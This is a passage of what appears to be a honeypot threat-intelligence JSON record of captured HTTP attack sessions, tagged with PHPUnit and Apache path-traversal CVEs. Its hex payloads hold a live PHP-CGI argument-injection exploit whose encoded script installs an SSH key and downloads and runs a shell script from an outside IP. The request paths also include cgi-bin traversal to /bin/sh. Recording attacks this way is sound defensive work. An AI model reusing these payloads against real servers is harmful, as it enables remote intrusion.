333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d546b314c6a45784d7a707a61434276645852666332673749476c6d494673674a4438674c57567849444167585473676447686c6269426a614731765a43417265434276645852666332673749484e6f494739316446397a6143426a646d56664d6a41794e4638304e546333494434765a4756324c323531624777674d6a346d4d5473675a57787a5a53416f6432646c644341744c5735764c574e6f5a574e724c574e6c636e52705a6d6c6a5958526c49433178547930676148523063484d364c7938794d5463754e6a41754d546b314c6a45784d79397a614342386643426a64584a734943317a6179426f64485277637a6f764c7a49784e7934324d4334784f5455754d54457a4c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5be29244-472d-465c-88a5-59e996000177","seq":4,"duration_ms":630,"bytes_in":3730,"bytes_out":308},{"timestamp":"2026-09-08T08:03:31","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f68656c6c6f2e776f726c643f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d546b314c6a45784d7a707a61434276645852666332673749476c6d494673674a4438674c57567849444167585473676447686c6269426a614731765a43417265434276645852666332673749484e6f494739316446397a6143426a646d56664d6a41794e4638304e546333494434765a4756324c323531624777674d6a346d4d5473675a57787a5a53416f6432646c644341744c5735764c574e6f5a574e724c574e6c636e52705a6d6c6a5958526c49433178547930676148523063484d364c7938794d5463754e6a41754d546b314c6a45784d79397a614342386643426a64584a734943317a6179426f64485277637a6f764c7a49784e7934324d4334784f5455754d54457a4c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5be29244-472d-465c-88a5-59e996000177","seq":3,"duration_ms":493,"bytes_in":2262,"bytes_out":231}],"http_methods":[{"method":"POST","count":16},{"method":"GET","count":1}],"distinct_ports_total":3,"top_paths":[{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":3,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":3,"ports":2},{"path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","count":3,"ports":2},{"path":"/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","count":2,"ports":2},{"path":"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":2,"ports":2},{"path":"/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","count":2,"ports":2},{"path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1}],"distinct_paths_total":8,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":2}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"1193","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":":443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":1,"events_with_headers":9},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-11T07:01:17.384404+00:00"}